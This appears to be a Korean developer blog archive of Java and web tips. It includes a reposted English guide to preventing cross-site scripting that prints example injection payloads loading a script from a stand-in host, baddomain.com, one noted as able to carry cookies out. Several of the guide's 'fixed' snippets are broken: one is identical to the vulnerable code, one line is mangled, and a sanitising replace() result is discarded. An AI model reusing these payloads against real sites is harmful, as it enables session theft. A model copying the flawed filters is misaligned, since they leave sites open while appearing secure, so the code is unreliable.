태터데스크 관리자

도움말
닫기
적용하기   첫페이지 만들기

태터데스크 메시지

저장하였습니다.

프로젝트중 한글과 영문 숫자를 입력받아 분류하는 로직을 구현중 먼가 명확한게 필요했다...

처음엔 정규표현식을 이용해야지 했는데 검색중 좋은글 발견..

거두절미하고 참조글을 참고로 돌려본결과...


    public static void main(String[] args) throws Exception {
        containsHangul("AAAAa한b글c테d스e트f123abcにほんご日本語!@#';");
    }
    public static void containsHangul(String str) {
        for(int i = 0 ; i < str.length() ; i++) {
            char ch = str.charAt(i);
            Character.UnicodeBlock unicodeBlock = Character.UnicodeBlock.of(ch);
            System.out.println("["+unicodeBlock + " | " + ch + "]");
        }
    }

결과

[BASIC_LATIN | A]
[BASIC_LATIN | A]
[BASIC_LATIN | A]
[BASIC_LATIN | A]
[BASIC_LATIN | a]
[HANGUL_SYLLABLES | 한]
[BASIC_LATIN | b]
[HANGUL_SYLLABLES | 글]
[BASIC_LATIN | c]
[HANGUL_SYLLABLES | 테]
[BASIC_LATIN | d]
[HANGUL_SYLLABLES | 스]
[BASIC_LATIN | e]
[HANGUL_SYLLABLES | 트]
[BASIC_LATIN | f]
[BASIC_LATIN | 1]
[BASIC_LATIN | 2]
[BASIC_LATIN | 3]
[BASIC_LATIN | a]
[BASIC_LATIN | b]
[BASIC_LATIN | c]
[HIRAGANA | に]
[HIRAGANA | ほ]
[HIRAGANA | ん]
[HIRAGANA | ご]
[CJK_UNIFIED_IDEOGRAPHS | 日]
[CJK_UNIFIED_IDEOGRAPHS | 本]
[CJK_UNIFIED_IDEOGRAPHS | 語]
[BASIC_LATIN | !]
[BASIC_LATIN | @]
[BASIC_LATIN | #]
[BASIC_LATIN | ']
[BASIC_LATIN | ;]

아스키 코드값과 점목시켜서 사용하면 먼가 더 명확한 추출이 되지않을까...

하는 나만의 생각?? 



참조글 : http://entireboy.egloos.com/4217304





JSTL을 사용하면 EL이 되어 매우 편하다.


<c:out value="<%=request.getParameter("aaa")%>"/> 요런게

<c:out value="${param.aaa}"/> 일케 되니 보기도 좋고 얼마나 편한가!!


자신이 만드는 Custom Tags에서도 매우 쉽게 attribute 값을 받을 때 EL을 사용할 수 있다.

단 jstl 의 standard.jar 에 의존적이다.


* 입력값으로 null을 허용하지 않는 attribute에 대한 EL처리

   org.apache.taglibs.standard.tag.el.core.ExpressionUtil 사용

   JSTL의 out tag 소스를 살펴보면 다음과 같은 부분이 있다

this.value = ExpressionUtil.evalNotNull(
                    "out",           // 태그명 <c:out 이니까 out
                    "value",        // 속성명
                    value,          // EL속성으로 넘어온 값(EL표현식)

                    Object.class,  // 반환될 값으로 기대되는 클래스타입
                    this,
                    pageContext)


* 입력값으로 null을 허용하는 attribute에 대한 EL처리  

  org.apache.taglibs.standard.lang.support.ExpressionEvaluatorManager 사용

   JSTL의 if tag의 소스중에는 다음과 같은 부분이 있다.

Object r = ExpressionEvaluatorManager.evaluate(
                  "test",          // 속성명

                   test,            // EL속성으로 넘어온 값(EL표현식)

                   Boolean.class,  // 반환될 값으로 기대되는 클래스타입

                   this,

                   pageContext);


요것이 value값을 받아서 EL 처리 (해당 el 파싱 및 적당한 scope에서 객체 얻어오기) 를 하는거이다.


저걸 내 CustomTag의 Attribute별 setter 에 넣어주면 된다.

예를 들자면 다음과 같겠다..

페이징 태그의 현재 페이지 값으로 EL을 사용할 수 있게 한 것이다.

    public void setPage(String page) {
        try {

            // page 값을 el 이라 생각하고 값 찾아봄. 없으면 JspException 이나 NullAttributeException 이 던져질것임
            Integer value = (Integer)ExpressionUtil.evalNotNull(
                                                         "paging",
                                                         "page",
                                                          page,
                                                         Integer.class,
                                                         this,
                                                         pageContext);

             this.cpage = value.intValue();
        } catch (Exception ex) {

            // EL에 실패하면 page값을 el이 아니라 생각하고 할당함

            try {
                this.cpage = Integer.parseInt(page);
            } catch (Exception e) {
                this.cpage = 1;
            }
        }      
    }


이렇게 하면 페이징 태그에서 <paging:page page="${qpage}" ..... />

이런식으로 사용가능하다, 물론 el이 알아서 4개 scope를 모두 뒤져서 알아서 찾아주니

qpage라는 name으로 4개 scope어디에 박아넣던 상관없다.


출처 : http://iamnotokay.tistory.com/109


JavaScript
 - JQuery
    Aptana Studio 2.0 ( http://download.aptana.org/tools/studio/plugin/install/studio )


JAVA
- Spring plugin
   Spring IDE ( http://springide.org/blog/ )

- iBatis plugin
   eclibatis ( http://sourceforge.net/projects/eclibatis/develop )
   ibator ( http://ibatis.apache.org/ibator.html )

- SVN plugin
   subclipse ( http://subclipse.tigris.org/ )

- properties plugin(한글propertie파일 변환)
   ( http://propedit.sourceforge.jp/eclipse/updates/)

FLEX
 - log plugin
    eclipse-flair ( http://code.google.com/p/eclipse-flair/ )

더보기


 - Flex PMD


Preventing Cross Site Scripting Attacks

Cross site scripting (XSS) is basically using JavaScript to execute JavaScript from an unwanted domain in a page. Such scripts could expose any data in a page that is accessible by JavaScript including, cookies, form data, or content to a 3rd party. Here is how you can prevent your web pages from being exploited on both the client and the server. This is followed with tips on how to avoid vulnerable sites.

  • Escape parameters and User Input - The safest step you can take is to escape all parameters to a page where the parameters are displayed in the content.The same applies for any user input that may be displayed or re-displayed in a web page rendered by a server. The downside is that your users can not provide markup.
  • Remove eval(), javascript, and script from User Provided Markup - If you allow users to provide markup in any part of your application that is displayed in a page make sure to remove eval() and javascript: calls from element attributes including styles as they can be used to execute JavaScript. Also remove script blocks.
  • Filter User Input on the Server - You should always filter user input that is stored or processed on a server because URLs and GET/POST requests can be created manually.
  • Use Caution with Dynamic Script Injection - Be careful when dynamically injecting external scripts to retrieve JSON based data as you are potentially exposing everything accessible by JavaScript.
  • Avoid XSS Phishing Attacks - Be aware of sites that contain vulnerabilities and phishing style attacks containing external script references.

Escape Parameters and User Input

This is the classic XSS attack that can open your service or web application up to hackers. By design the site displays a user's id that is passed in as a URL parameter. The following script will take the id and display a welcome message.

<script type="text/javascript">
  var start = window.location.href.indexOf("id");
  var stop = window.location.href.length;
  var id = "guest";
  if (start < stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
  }
  document.write("Hi " + id);
</script>

A request to the URL index.html?id=greg (assuming the page containing the script is index.html) will result in:

Hi greg

What would happen if instead of "greg" I used the following URL:

index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E

Notice the URL above contains a link to script http://baddomain.com/badscript.js which contains malicious code from a different domain. This script will be evaluated when the page is loaded putting the page and all the data in it at risk.

To prevent from these types of attacks your client code should always escape "<" and ">" parameters that are displayed or evaluated by JavaScript code.

You can do this with a simple line of code as can be seen in the next example.

<script type="text/javascript">
  var start = window.location.href.indexOf("id");
  var stop = window.location.href.length;
  var id = "guest";
  if (start < stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
	
  }
  document.write("hi " + id);
</script>

Consider the following containing a form where a user enters a description that will be visible to other users.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    display.innerHTML = description;
  }
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

Seems innocent enough right? Try including the following content in the text area.

<a onmouseover="eval('s=document.createElement(\'script\'); document.body.appendChild(s); s.src=\'badscript.js\'')">Mouse Over Me</a>

A mouseover of the link will cause a script in a badscript.js to be loaded. This script could also pass along cookies or any other information it wanted to as parameters of the "s.src" URL. Unlike the first example where the user would need to click on a bad link this type of attack requires a simple mouseover to load the badscript.js.

So the question now comes to mind: 'How do you protect your web page from being being exploited?'

Along with the parameters you should escape form input. If you plan to allow users to provide their own markup consider the next solution titled Remove eval(), javascript, and script from User Provided Markup.

The following code shows how to escape markup on the client.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    description = description .replace(/</g, "&lt;").replace(/>/g, "&gt;");
    display.innerHTML = description;
  } 
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The code description = description.replace(//g, ">"); filters the user input and prevents unwanted scripts from being executed.

Now that we have looked at how to prevent most attacks the next section focuses on cases where you want to allow users to provide markup that does not contain malicious code.

Remove eval(), javascript:, and script from User Provided Markup

There may be cases where you want to allow a user to add markup such as links or HTML content that is displayed for other users to see. Consider a blog that allows for HTML markup, user provided URLs, HTML comments, or any other markup. The solution would be to filter all markup before it is displayed in a page or before it is sent to a server or service. The following example shows how to allow for some HTML markup while preventing malicious code.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    description.replace(/[\"\'][\s]*javascript:(.*)[\"\']/g, "\"\"");
    description = description.replace(/script(.*)/g, "");    
    description = description.replace(/eval\((.*)\)/g, "");
    display.innerHTML = description;
  } 
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The example above removes all eval(), javascript and script references that may be entered in the description field. The replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. You may consider refining the regular expressions to only look in tag attributes for example and to remove full scripts. There are other considerations you should keep in mind when filtering client code such as line breaks, charsets, case sensitivity which are commonly exploited in attacks. As some browsers will allow you to specify JavaScript calls from CSS styles you should also consider searching user provided CSS styles as well.

Filter User Input on the Server

Most of the problems related to cross site scripting are because of poorly designed clients. Servers can also unwillingly become participants in cross domain scripting attacks if they redisplay unfiltered user input. Consider the following example where a hacker manually makes a HTTP POST request to set the homepage URL with the following.

<a href="javascipt:eval('alert(\'bad\')');">Click Me</a>

The URL would end up being stored as is on the server as is and expose any user that clicks on the URL to the JavaScript. The example above seems innocent enough but consider what would happen if in place of an alert('bad') the "javascript" contained malicious code. To prevent such attacks you should filter user input on the server. The following Java example shows how to use regular expression replacement to filter user input.

String description = request.getParameter("description");
description = description.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
description = description.replaceAll("eval\\((.*)\\)", "");
description = description.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
description = description.replaceAll("script", "");

The code above removes eval() calls, javascript: calls, and script references the replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. The code above may be applied using a servlet, servlet filter, or JSF component on all input parameters or on a per parameter basis depending on what how much markup you would like to allow users to provide. You may want refine the regular expressions that filter the content to handle more or consider a Java library built that specializes in removing malicious code.

Use Caution with Dynamic Script Injection

Dynamic script injection to retrieve JSON data (also known as JSONP) can be powerful and useful as it decouples your client from the server of origin. There is still a bit of debate over using JSONP as some consider it as a hack or security hole in JavaScript because when you dynamically include a reference to a 3rd party script you are giving that script full access to everything in your page. That script could go on to inject other scripts or do pretty much whatever it wanted.

If you choose to use JSONP make sure you trust the site for which you are interacting with. There is nothing stopping a JSONP provider from including unwanted script with JSONP data. One alternative would be to provide a proxy service which you can control the output, restrict access to, and can cache as needed.

Avoid XSS Phishing Attacks

This next recommendation focuses on protecting yourself as a user from a site that is vulnerable to cross site scripting attacks.

Phishing attacks, or attacks where what appears to be a valid URL links to a fraudulent web page who's purpose is to collect a users data, are nothing new to the web world. A related attack involves cross site scripting attacks where a URL to a legitimate site that has a cross site scripting vulnerability contains a script reference. Such a link may appear in an email message, blog posting/comment, or other user generated content that contains a URL. Clicking a link to a site containing a cross site scripting vulnerability would cause a 3rd party script to be included along with your request and could expose your password, user id, or any other data. Consider the following example:

<a href="http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E">See foobar</a>

A quick look at the URL shows it references the site http://foobar.com/index.html. An unsuspecting user may not see the script included as a parameter later in the URL.

It is also wise to always look at carefully at URLs and the URL parameters that are provided with them. URLs will always appear in the status bar of your browser as and you should always look for external script reference. Another solution would be to manually type in links into the URL bar of your browser if a link is suspect.

Be aware of sites known to have vulnerabilities and be very careful with any personal data you provide those sites.

While JavaScript based interfaces can be very flexible you need to be very careful with all user provided input whether it be as parameters or form data. Always make sure to escape or filter input on the both the client and server. As a user you should be cautious not to become a victim of a vulnerable site. It's better to be safe than in the news!

What other things do you do to prevent XSS attacks?


출처 : http://weblogs.java.net/blog/gmurray71/archive/2006/09/preventing_cros.html#escape

spring 이나 struts 같은 프레임웍은 jsp 의 처리를 컨트롤러에 위임하게 된다.

그래서 *.do 같은 형태의 url 로 접근 하도록 만들어 놓은건데.

좀 똑똑한 사용자가 jsp 파일의 경로를 알아서 컨트롤러를 거치지 않고

바로 jsp 에 접근하는게 가능하다.

이것을 막기위해 web.xml 에다가 아래 코드를 추가하면 된다.


<security-constraint>
  <display-name>JSP Protection</display-name>
  <web-resource-collection>
   <web-resource-name>SecureJSPPages</web-resource-name>
   <url-pattern>*.jsp</url-pattern>
  </web-resource-collection>
  <auth-constraint>
   <role-name>nobody</role-name>
  </auth-constraint>
 </security-constraint>
 
 <security-role>
  <description>
  Nobody should be in this role so JSP files are protected
  from direct access.
  </description>
  <role-name>nobody</role-name>
 </security-role>


출처 : http://cranix.net/tt/246
Tag // jsp, 접근제어
eclipse를 이용하여 유지보수중...
빌드된 class 파일을 개발서버에 올려 테스트중

UnsupportedClassVersionError....Unsupported major.minor version 49.0...
와 같은 에러를 만나게 되었다...
검색으로 아래와 같은 해결방법을 찾긴했으나...
window -> Preferences -> Java -> Compiler에서 버전을 하향...
재 컴파일후 다시 테스트를 해도 같은결과...

한시간정도를 삽질하다가...
해당 프로젝트의 Properties 에서 Compiler가 따로 셋팅되어있어서였다는걸
찾아냈다 ㅡㅡ^..

나 머한겨...ㅋ

수정한후 class파일을 올려보니 아주 자~~알 돌아간다!!



참고, JDK별 class version
1.6 => 50.0
1.5 => 49.0
1.4 => 48.0
1.3 => 47.0
Tag // Eclipse


프로젝트중 애플릿을 이용하여 클라이언트쪽의 시간을 기준으로 출력하는 부분이 있었다.

그런데 windows상의 시스템 트레이의 시간은 정상적으로 나왔지만

애플릿을 실행시켜보면 9시간전의 시간이 나왔다..

여기저기 검색을 해본결과 JDK의 뻑(?) 이라는 결과가..

표현이 맞는지는 모르지만.... 물론 다른 PC에서는 정상작동 되었다..

일부 PC의 오류라는건데.. 무엇때문인지 정확한 원인은 아직 알수 없었다...

해결책을 찾다가 소스상의 수정으로 해결을 할수가 있었다..

import java.util.*;
import java.text.*;

public class TimeTest
{
    public static void main(String[] args)
    {
        System.out.println("user.timezone=" + System.getProperty("user.timezone"));
        System.out.println(new java.util.Date());
    }
}


위의 코드를 실행해보면 아래의 결과가 출력된다.

user.timezone=
Wed Jan 23 00:33:57 GMT 2008


출력소스 위에 아래의 소스를 추가해보면

System.setProperty("user.timezone", "Asia/Seoul");

user.timezone=Asia/Seoul
Wed Jan 23 09:35:28 KST 2008

이라고 출력이 된다.

windows상의 시스템 트레이의 날짜정보를 더블 클릭하여서 표준시간대를 보면

서울을 기준으로 한다면 GMT+09:00 라고 나올것이다.

즉 서울은 표준시각(GMT)보다 9시간을 더한 시간이라는것이다.

시스템상으로는 GMT+09:00로 설정이 되어있었지만

Java쪽에서 GMT를 불러오는 오류인것 같다.

Tag // java, Timezone


J빌더 실행후 로고 뜨고 바로 꺼지는 현상



JBuilder_HOME/bin/jbuilder.config 파일에 기본으로 vmmemmax 75% 설정

로컬 컴퓨터의 메모리에 실제 사용할수 있는 용량이 75% 이상이 되어야

실행 가능하다는 설정이다.

위의 vmmemmax 부분을 적정용량으로 줄여서 설정한다.

vmmemmax 256m이면 자신의 메모리 공간이 256m가 free하면 실행가능


참고 : http://blog.naver.com/kissmelip?Redirect=Log&logNo=20033144196

Tag // JBuilder

J2EE에서의 JNDI의 역할

http://www.ibm.com/developerworks/kr/library/j-jndi/
J2EE를 마스터하는 것은 어려운 일이다. 기술과 신조어들이 나날이 늘어가기
때문이기도 하다. Java Naming and Directory Interface (JNDI)는 처음부터 Java 2
 Platform, Enterprise Edition (J2EE)의 핵심에 있었지만 풋내기 J2EE 개발자들은
이를 충분히 활용하지 못한다. 이 글에서 J2EE 애플리케이션에서의 JNDI의 역할을
규명하고 애플리케이션을 전개로부터 분리하는 방법을 설명하겠다.


J2EE 플랫폼이 엔터프라이즈 개발자의 삶을 향상시킨 것 만큼 J2EE의 많은 스팩과 기술을 배워야 하는 대가를 치러야 했다. Dolly Developer는 엔터프라이즈 애플리케이션의 전개에 수반되는 부담을 경감시키는 한 가지 기능인 JNDI를 발견하지 못한 많은 개발자들 중 하나이다. JNDI를 잘 활용했을 때 상황이 어떻게 향상되었는지를 살펴보자.

너무나 익숙한 여행

Dolly 개발자는 JDBC 데이터 소스를 사용하는 웹 애플리케이션을 코딩중이다. 그녀는 MySQL을 사용하고 있다는 것을 알기 때문에 MySQL JDBC 드라이버 클래스에 대한 레퍼런스를 인코딩하고 JDBC URL을 사용하여 웹 애플리케이션의 데이터베이스에 연결한다. 데이터베이스 커넥션 풀링은 중요하기 때문에 커넥션 풀링 패키지를 포함하고 이를 설정하여 단 64 커넥션만 사용해야 한다; 그녀는 데이터베이스 서버가 128 클라이언트 커넥션을 할당하도록 설정되었다는 것을 알고 있다.

재앙으로 향하는 Dolly

개발 단계 동안은 모든 것이 순조롭게 진행된다. 하지만 전개할 때 상황은 달라진다. 네트워크 관리자는 데스크탑에서 제품 또는 스테이징 서버로 액세스하지 못한다는 것을 지시했기 때문에 그녀는 각 전개 단계마다 다른 버전의 코드를 만들어야 한다. 상황이 이렇기 때문에 그녀에게는 테스트, 스테이징, 제품 마다 전개 가능한 새로운 JDBC URL이 필요하다. (설정 관리에 익숙한 사람들은 개별 구현을 각 환경에 전개한다는 개념 때문에 망설이지만 이는 매우 일반적인 상황이기 때문에 너무 그럴 필요는 없다.)

Dolly가 그녀가 전개 가능한 다른 URL 들로 설정 문제를 “해결”했다라고 생각했을 때, 그녀는 데이터베이스 관리자가 제품에서 MySQL 인스턴스를 실행하는 것을 원하지 않는다는 것을 발견한다. 이것은 개발에는 알맞지만 중요한 미션을 위한 데이터용 비즈니스 표준은 DB2®이다. 이제 그녀의 구현은 데이터 URL을 달리 해야 할 뿐만 아니라 다른 드라이버를 갖추어야 한다.

상황은 더 나빠진다. 그녀의 애플리케이션은 너무 유용해서 너무 중요해진다. 애플리케이션 서버에서 페일오버 기능을 얻고 4개의 서버 클러스터로 복제된다. 하지만 데이터베이스 관리자들은 빨간 깃발을 들어올리지만 그녀의 애플리케이션의 모든 인스턴스는 64 커넥션을 사용한다. 데이터베이스 서버는 전체적으로 200개의 사용 가능한 커넥션을 갖고 있다. 모두가 Dolly의 애플리케이션에 의해 연결되고 있다. 더욱이 DBA는 Dolly의 애플리케이션이 단 32개의 커넥션만을 필요하다는 것을 결정했고, 이것도 하루에 단 한 시간 동안이다. 그녀의 애플리케이션이 올라갈 때 애플리케이션은 데이터베이스 레이어에서의 경쟁 문제로 끝나서 그녀의 유일한 옵션은 클러스터링 된 커넥션의 수를 변경하여 클러스터가 늘어나면 다시 이와 같은 것을 준비하거나 애플리케이션이 다른 클러스터에서 복제되도록 한다. 애플리케이션 설정에 대해 내린 결정이 시스템과 데이터베이스 관리자들에겐 최상인 것 같았다.





J2EE 역할

Dolly는 J2EE 역할에 대한 지식을 기반으로 애플리케이션을 개발했다면 이런 딜레마는 피할 수 있었을 것이다. J2EE 스팩은 다양한 개발 역할들에 책임을 위임한다: 컴포넌트 공급자, 애플리케이션 어셈블러, 전개자, 시스템 관리자. (많은 조직들에서 컴포넌트 공급자와 어셈블러 역할은 통합되었다. 전개자와 시스템 관리자 역할 또한 통합되어 있다.) J2EE에서의 JNDI의 역할을 이해하기 전에 J2EE의 역할을 이해하는 것도 중요하다.

컴포넌트 공급자
이 역할은 J2EE 컴포넌트를 만드는 책임이 있다. 웹 애플리케이션, Enterprise JavaBean (EJB) 컴포넌트, 애플리케이션 컴포넌트(Swing 기반의 GUI 클라이언트 애플리케이션) 등이 될 수 있다. 컴포넌트 공급자에는 HTML 콘텐트 디자이너, 문서 프로그래머, 기타 개발자 역할들이 포함된다. 대부분의 J2EE 개발자들은 컴포넌트 공급자 역할을 수행하고 있다.

애플리케이션 어셈블러
이 역할은 다중의 J2EE 모듈을 인접해 있는 전개 가능한 모든 것에 묶는 것이다: enterprise archive (EAR) 파일. 애플리케이션 어셈블러는 컴포넌트를 선택하고, 이들이 인터랙팅 하는 방법을 정의하고, 보안과 트랜잭션 애트리뷰트를 설정하고, 애플리케이션을 EAR 파일로 패키징한다. WebSphere® Studio, IDEA, JBuilder, WebLogic Workshop 같은 많은 IDE 들은 EAR 파일의 인터랙티브 설정을 갖춘 애플리케이션 어셈블러를 지원하는 기능을 갖고 있다.

전개자
이 역할은 전개를 담당하고 있다. EAR을 J2EE 컨테이너(애플리케이션 서버)에 설치하면서 데이터베이스 커넥션 풀 같은 리소스들을 설정하고, 애플리케이션에 필요한 리소스들을 애플리케이션 서버의 특정 리소스들로 바인딩하고 애플리케이션을 시작한다.

시스템 관리자
이 역할은 컨테이너가 필요로 하는 리소스들이 해당 컨테이너에서 사용할 수 있는 것인지를 확인한다.

역할 수행

비즈니스 로직과 영속성을 위해 하나의 웹 애플리케이션과 하나의 EJB 컴포넌트를 포함하고 있는 엔터프라이즈 애플리케이션을 상상해 보자. 이 애플리케이션을 개발하는 데는 많은 컴포넌트 공급자들이 개입된다. 많은 경우 같은 사람이 이 모든 일들을 수행하곤 한다. 이 컴포넌트들은 데이터 전송 객체(JAR 파일), EJB 인터페이스(또 다른 JAR 파일), EJB 구현(이것 역시 또 다른 JAR 파일), 사용자 인터페이스 컴포넌트-서블릿, JSP, HTML 페이지, 정적 웹 콘텐트 들을 포함시킬 수 있다. 사용자 인터페이스 컴포넌트들은 웹 애플리케이션으로 패키징되고 여기에는 서블릿 클래스, JSP 파일, 정적 콘텐트, EJB 인터페이스를 비롯하여 다른 필요한 컴포넌트를 포함하고 있는 JAR 등이 포함된다.

일반적인 웹 애플리케이션을 구현하는데 얼마나 많은 JAR 파일들이 사용되는지를 고려할 때 준비해야 할 많은 컴포넌트들이 있는 것 처럼 들린다. 종속성(dependency)은 여기에서 조심스럽게 다뤄져야 한다. 인터페이스들과 전송 객체들은 웹 애플리케이션과 EJB 구현에 대한 합당한 종속관계이다. 하지만 이러한 계열의 종속관계는 이 같은 방향으로 모두 실행되어야 한다: 주기적인 종속성은 피해야 한다. WAR 파일과 EJB JAR 파일 같은 J2EE 컴포넌트들은 전개 단위 밖에 있는 리소스에 대한 종속성을 선언해야 한다.

애플리케이션 어셈블러는 웹 애플리케이션에서의 종속성을 추가하고 모든 것을 하나의 엔터프라이즈 애플리케이션으로 패키징 해야한다. 툴이 많은 도움이 된다. IDE는 모듈과 JAR의 종속성을 반영하는 프로젝트 구조를 만드는데 도움이 되고 모듈의 추가 또는 배제를 지정할 수 있도록 한다.

전개자는 컴포넌트가 요구하는 리소스들이 전개 환경에 존재하는지를 확인하고 이들을 플랫폼의 사용 가능한 리소스들로 바인딩하는 책임이 있다. 예를 들어, 웹 애플리케이션의 외부 EJB 레퍼런스(전개 디스크립터의 ejb-ref) 이 지점에서 실제로 전개된 EJB 컴포넌트에 묶인다.

외부 리소스로의 늦은 바인딩

중요한 J2EE 애플리케이션은 작동하기로 되어있는 환경을 설명하고 있는 정보에 액세스해야 한다. 다시 말해서 컴포넌트를 개발하고 테스트 하는 데에는 개발자가 일종의 전개 의무를 지는 것이 필요하다는 것을 의미한다. 코드를 테스트하는 임시적인 목적일 경우에도 그렇다. 이렇게 함으로서 개발자 도메인 밖으로 벗어났다는 것을 이해하는 것이 중요하다. 그렇지 않으면 의도되지 않았던, 때로는 재앙 같은 함축을 지닌 JDBC 드라이버, URL, JMS 큐 이름, 기타 머신 리소스들에 의존하려는 유혹에 빠진다.





구원자 JNDI

Dolly의 문제에 대한 솔루션은 데이터 스토어에 대한 모든 직접적인 레퍼런스들을 애플리케이션 코드에서 제거하는 것이다. JDBC 드라이버에 대한 레퍼런스, 서버 이름, 사용자 이름 또는 패스워드, 심지어 데이터베이스 풀링 또는 커넥션 관리 도 없다.Dolly는 그녀의 코드를 작성하여 액세스하려고 하는 외부 리소스들이 무엇인지 무시해야 한다. 다른 사람들이 그러한 외부 리소스들을 활용해야 하는 링크를 제공할 것이라는 것을 이해해야 한다. 이는 전개자가 데이터베이스 커넥션을 그녀의 애플리케이션에 할당 할 수 있도록 한다. Dolly가 개입될 필요가 없다. (데이터 보안은 물론 Sarbanes-Oxley 호환성 까지 다양한 이유가 때문이다.)

많은 개발자들은 코드와 외부 리소스들 간 강결합(tight coupling)이 잠재적으로 문제가 된다는 것을 알고 있다. 하지만 실제로는 역할의 분리를 종종 무시한다. (팀 크기 또는 전개의 관점에서)작은 개발 노력으로, 역할 분리를 무시하는 것은 충분히 성공적일 수 있다. (결국, 개인적인 애플리케이션일 경우, PostgreSQL 인스턴스로 애플리케이션을 잠그는 것이 좋고, 여기에 의존할 생각은 말아야 한다.)

J2EE 스팩은 모든 J2EE 컨테이너들이 JNDI 스팩의 구현을 제공해야 한다는 것을 요구한다. J2EE에서의 JNDI의 역할은 “스위치보드(switchboard)” 이다—런타임 시 J2EE 컴포넌트가 다른 컴포넌트, 리소스, 서비스를 찾는 일반적인 메커니즘이다. 대부분의 경우 컨테이너가 제공되는 JNDI 공급자는 제한된 데이터 스토어로서 작용하여 관리자들이 하나의 애플리케이션에서 실행 속성을 설정할 수 있고 다른 애플리케이션들이 이들을 레퍼런스 할 수 있게 한다. (Java Management Extensions (JMX)도 이 목적으로 사용될 수 있다.) J2EE 애플리케이션에서의 JNDI의 주 역할은 인다이렉션 레이어를 제공하여 컴포넌트들이 필요한 리소스들을 인다이렉션을 의식하지 않고 찾을 수 있도록 하는 것이다.

문제 해결

다시 Dolly의 상황으로 돌아가보자. 그녀의 간단한 웹 애플리케이션에서 그녀는 그녀의 애플리케이션 코드에서 직접 JDBC 커넥션을 사용했다. Listing 1을 보면, JDBC 드라이버, 데이터베이스 URL, 서블릿의 사용자 이름과 패스워드의 이름을 분명히 코딩했음을 알 수 있다:


Listing 1. 전형적인 (하지만 좋지 않은) JDBC 사용


Connection conn=null;
try {
  Class.forName("com.mysql.jdbc.Driver",
        true, Thread.currentThread().getContextClassLoader());
  conn=DriverManager.getConnection("jdbc:mysql://dbserver?
user=dolly&password=dagger"); /* use the connection here */ conn.close(); } catch(Exception e) { e.printStackTrace(); } finally { if(conn!=null) { try { conn.close(); } catch(SQLException e) {} } }

이러한 방식으로 설정 정보를 지정하는 대신 Dolly(와 그녀의 동료들)는 JNDI를 사용하여 JDBC DataSource를 찾았다면 더 좋았을 것이다. (Listing 2):


Listing 2. JNDI를 사용하여 데이터 소스 얻기


Connection conn=null;
try {
  Context ctx=new InitialContext();
  Object datasourceRef=
ctx.lookup("java:comp/env/jdbc/mydatasource"); DataSource ds=(Datasource)datasourceRef; conn=ds.getConnection(); /* use the connection */ conn.close(); } catch(Exception e) { e.printStackTrace(); } finally { if(conn!=null) { try { conn.close(); } catch(SQLException e) { } } }

JDBC 커넥션을 얻을 수 있으려면 소소한 전개 설정을 하여 로컬 컴포넌트의 JNDI 콘텍스트의 JDBC DataSource를 검색해야 한다. 조잡할 것 같지만 배우기 쉽다. 불행히도, 컴포넌트를 테스트하기 위해서 개발자는 전개자의 경지를 건너서 애플리케이션 서버를 설정하는 것을 준비해야 한다.

JNDI 레퍼런스 설정하기

JNDI가 java:comp/env/jdbc/mydatasource 레퍼런스를 해결하려면 전개자는 <resource-ref>태그를 web.xml 파일(웹 애플리케이션용 전개 디스크립터)에 삽입해야 한다. <resource-ref>태그는 “이 컴포넌트는 외부 리소스에 대한 의존성을 갖고 있다.”는 것을 의미한다. (Listing 3):


Listing 3. resource-ref 엔트리


<resource-ref>
  <description>Dollys DataSource</description>
  <res-ref-name>jdbc/mydatasource</res-ref-name>
  <res-ref-type>javax.sql.DataSource</res-ref-type>
  <res-auth>Container</res-auth>
</resource-ref>

<resource-ref> 엔트리는 jdbc/mydatasource라고 하는 컴포넌트 네이밍 콘텍스트의 리소스가 전개자에 의해 설정될 것이라는 것을 알려준다. 컴포넌트 네이밍 콘텍스트는 접두사 java:comp/env/로 표시되어 완전한 자격의 로컬 리소스 이름은 java:comp/env/jdbc/mydatasource이다.

이것은 단지 외부 리소스에 대한 로컬 레퍼런스를 정의하고 이 레퍼런스가 가르키게 될 실제 리소스는 만들지 않는다. (자바와 비슷한 언어들은 <resource-ref>Object foo같은 레퍼런스를 선언하지만, Object를 실제로 참조하기 위해 foo를 설정하지 않는다.)

전개자의 역할은 DataSource를 만드는 것이다. (또는, 우리의 자바 예제에서 처럼 foo가 지목할 Object를 만든다.) 각 컨테이너에는 데이터 소스를 설정하는 고유의 메커니즘이 있다. JBoss 에서 데이터 소스는 서비스와 함께 정의되고($JBOSS/server/default/deploy/hsqldb-ds.xml 참조), 이것이 DataSource를 위한 글로벌 JNDI 이름이라는 것을 지정한다. (기본적으로, DefaultDS). 일단 리소스가 만들어지면 여전히 중요한 제 3 단계가 남아있다: 리소스를 애플리케이션 컴포넌트가 사용하는 로컬 이름으로 연결 또는 바인딩하는 것. 이 웹 애플리케이션의 경우 벤더 스팩의 전개 디스크립터 확장은 바인딩을 지정하는데 사용된다. (Listing 4). (JBoss는 벤더 스팩의 웹 애플리케이션 전개 디스크립터에 jboss-web.xml이라고 하는 파일을 사용한다.)


Listing 4. 벤더 스팩의 전개 디스크립터에서 리소스를 JNDI 이름으로 바인딩하기


<resource-ref>
   <res-ref-name>jdbc/mydatasource</res-ref-name>
   <jndi-name>java:DefaultDS</jndi-name>
</resource-ref>

